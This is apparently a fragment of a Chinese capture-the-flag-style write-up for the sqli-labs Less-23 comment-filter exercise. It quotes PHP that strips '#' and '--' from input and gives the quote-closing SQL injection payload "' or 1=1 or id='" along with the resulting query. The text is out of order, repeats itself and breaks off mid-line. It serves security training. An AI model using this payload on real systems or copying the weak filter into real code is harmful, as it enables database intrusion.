//filter the comments out so as to comments should not work$reg="/#/";$reg1="/--/";$replace="";$id=preg_replace($reg,$replace,$id);$id=preg_replace($reg1,$replace,$id);
那么构造语句,测试是否存在注入点。查询成功,表示注入点存在的。
' or 1=1 or id='
从后台查看语句是。这里是使用了'对整个查询进行闭合,我们可以操作的部位就是在or 1=1
SELECT * FROM users WHERE id='' or 1=1 or id='' LIMIT 0,1
Less-23 注释符过滤首先,在尝试'发现可以注入,但是在尝试注入之后一直报错。并且无论是#还是--+,回显都没有出现,初步判断是注释符过滤了。查看源码可以看到,#和--+都被替换为了空字符。所以这次要考虑闭合掉引号,构造查询语句。//filter the comments out so as to comments should not work$reg = "/#/";$reg1 = "/--/";$replace = "";$id = preg_replace($reg, $